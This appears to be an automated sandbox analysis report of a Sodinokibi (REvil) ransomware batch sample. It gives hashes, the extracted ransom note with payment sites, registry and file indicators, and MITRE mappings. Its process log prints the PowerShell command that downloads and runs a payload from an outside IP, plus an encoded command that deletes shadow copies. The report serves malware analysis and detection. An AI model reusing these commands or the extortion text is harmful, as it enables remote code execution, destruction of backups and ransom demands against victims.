sodinokibi | 7de87ff14574bfdf6858a7cf58f8dad6ba484c372a9d5f4b4e3b6a4824d1a40a

General

Target

c9af7ca3680a5a25e788062683cc93b4.bat
Size

219B
MD5

dc0a4c0f80db22d5242cb4addeaa91f8
SHA1

ac411eca6ffc942efad96a63d86307d77c9f0c2f
SHA256

7de87ff14574bfdf6858a7cf58f8dad6ba484c372a9d5f4b4e3b6a4824d1a40a
SHA512

ab01868327fdc22ac891fe45261dfa8f737060c5c797fd42296bb71b546f82d84bba3114be6c37b35dd17621dd0f953ecd53191c9664864e9aae983493117e5c

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/c9af7ca3680a5a25e788062683cc93b4

Extracted

Path

C:\y5h61s8orj-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension y5h61s8orj. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D2D55285718AB8B9 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/D2D55285718AB8B9 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: t1DWc3bRapKeISLXJPAH1I9jxxdQTe9klRqgM8nlB+PcK5iw0xGuJGCF+2myFU03 Evntfy8GJixLem1Iy7oqxr6iFee3VVfw8P3HpWWNwjFvSzdo/IWCAHbuyHwQlbqA om5FyQ/fxxHbblFSO18HkP9mh3k21SWnghFJBLZkHwCI0WXgKeAa5gVJRBag2lgu 4LdyjOy6Gza+DpPcH8ByHH6FJd9mfp8KJbcJHTP+c8uMY+a7VwhN9U5SaavDjBym qZn0RQf7Mpk0squoVz0MNjGDkn/WaVFGM25ShSG8wI8mSjRDsr6cuVDebd+6sxw1 6dKNRH7s+kkYvTGwef0qbJHW6+emZ2PonDUpUe3xhPBHCOdhq0eCgzfQs4+iKpeF XY8vY9X1xmIhzA8mwh2PKHm2hq0UPxXzD/8ycNIeE4Iln2uC53CDyUpDmeWdyGrK /YIh7j90mvuPUTPjoXonIU9nHdB6ZW9LcJnl8JCP/f0P32Bd7JwMOJvoX+2Fdy+N whGIp8wo+eEnDrjnQ4LmrPqBbUkYAwtjvPuzO3N2kGAJkfuVPN97j2VoY1MGb/4B KdWHXvLoMcmTTacPuXvAdp20EhlMNucpnSE3iVgYfUGQWZwrg6edapOQRRfWZvTA lDD6szeVH2rFQWNV28IbDF/g/EgPz83zSoDXpxZP2E1DcAU7Es9vPbNp/XYRCQOf Xoo7zCt1i2bar9lP57asgqzEFum4Nb03G4N28z7TjS5maCAPH8OWmYHvP70FNWjQ /xUyXvWu9FXFoFKU4uapMzpOPdkUdazOeesihj+eOPKwYRxAmLGudSPrf3tvcXrH 7ivsxyo+JoQ4mLDpcbFOrkAEeIZir8kPtukjb1TJbhne/7YbSNtlp5mr/4equS4T lfmxMf8htRjoLc86h0MLSJshTZAG2iQ0zJsHcWSjQQnL+Os8J+m+FPIgsjJV5S7D +YcV5SLR+Ofo9c74RwHFouX6N/PMKQA0q/rtAeW0FSOoRHG8lBt5v4kxt3iBxHt8 S6RLYy6R9UVnltIECNtKMXgwtMCH6dHtVNydHDKKZw6qC9Uw1C7N99yFrz7v+rAb PdFCyxahXp4YIkHonhY5egnXU2K38GSH7dTDEQpztjJqYoqOyb407tGK/8RfHFuV vCByFuXG1jKUAXilIZDGpJ0t5jOr24vSLGANRMG2lCd+bieCGMRn6MOota1PZLiZ nnTsYbc+TkKmvrf92EmPOLPP7BEFcx4reAefuVgazuFMLgKAAEGv+FsinIR703mC xgUF/f9GcF+qKnQJZSIRQHpQUn7rcRD/I0waoItLwwWGfAY288S5bw== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D2D55285718AB8B9

http://decryptor.cc/D2D55285718AB8B9

Signatures

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1388 powershell.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1388 powershell.exe
1388 powershell.exe
1388 powershell.exe
1504 powershell.exe
1504 powershell.exe
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

pid	process
1388	powershell.exe

pid	process
1388	powershell.exe
1388	powershell.exe
1388	powershell.exe
1504	powershell.exe
1504	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 828 wrote to memory of 1388	828	cmd.exe	powershell.exe
PID 828 wrote to memory of 1388	828	cmd.exe	powershell.exe
PID 828 wrote to memory of 1388	828	cmd.exe	powershell.exe
PID 828 wrote to memory of 1388	828	cmd.exe	powershell.exe
PID 1388 wrote to memory of 1504	1388	powershell.exe	powershell.exe
PID 1388 wrote to memory of 1504	1388	powershell.exe	powershell.exe
PID 1388 wrote to memory of 1504	1388	powershell.exe	powershell.exe
PID 1388 wrote to memory of 1504	1388	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeBackupPrivilege	740	vssvc.exe
Token: SeRestorePrivilege	740	vssvc.exe
Token: SeAuditPrivilege	740	vssvc.exe
Token: SeTakeOwnershipPrivilege	1388	powershell.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1388 powershell.exe

flow	pid	process
3	1388	powershell.exe

Drops file in Program Files directory 20 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\InvokeApprove.3gp2	powershell.exe
File opened for modification	\??\c:\program files\RegisterSkip.wmv	powershell.exe
File opened for modification	\??\c:\program files\ShowConnect.vsx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\y5h61s8orj-readme.txt	powershell.exe
File created	\??\c:\program files\y5h61s8orj-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\y5h61s8orj-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\UseCopy.crw	powershell.exe
File opened for modification	\??\c:\program files\UseSet.3g2	powershell.exe
File opened for modification	\??\c:\program files\SetEnter.vsx	powershell.exe
File opened for modification	\??\c:\program files\UninstallGrant.wmv	powershell.exe
File created	\??\c:\program files (x86)\y5h61s8orj-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\BlockExpand.vdw	powershell.exe
File opened for modification	\??\c:\program files\DisableComplete.wvx	powershell.exe
File opened for modification	\??\c:\program files\EnterRequest.jpg	powershell.exe
File opened for modification	\??\c:\program files\JoinExport.css	powershell.exe
File opened for modification	\??\c:\program files\SelectCompress.search-ms	powershell.exe
File opened for modification	\??\c:\program files\UnregisterEnable.au	powershell.exe
File opened for modification	\??\c:\program files\GetExport.docx	powershell.exe
File opened for modification	\??\c:\program files\RestartReset.xla	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\y5h61s8orj-readme.txt	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\g9in2e3.bmp"	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\c9af7ca3680a5a25e788062683cc93b4.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:828

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/c9af7ca3680a5a25e788062683cc93b4');Invoke-NZFRVEJKWUXV;Start-Sleep -s 10000"
2⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Drops file in Program Files directory
- Sets desktop wallpaper using registry
PID:1388

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1504

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:740

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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memory/1388-0-0x0000000000000000-mapping.dmp

Download
memory/1388-14-0x0000000008FE0000-0x0000000009365000-memory.dmp

Filesize
3.5MB

Download
memory/1504-3-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads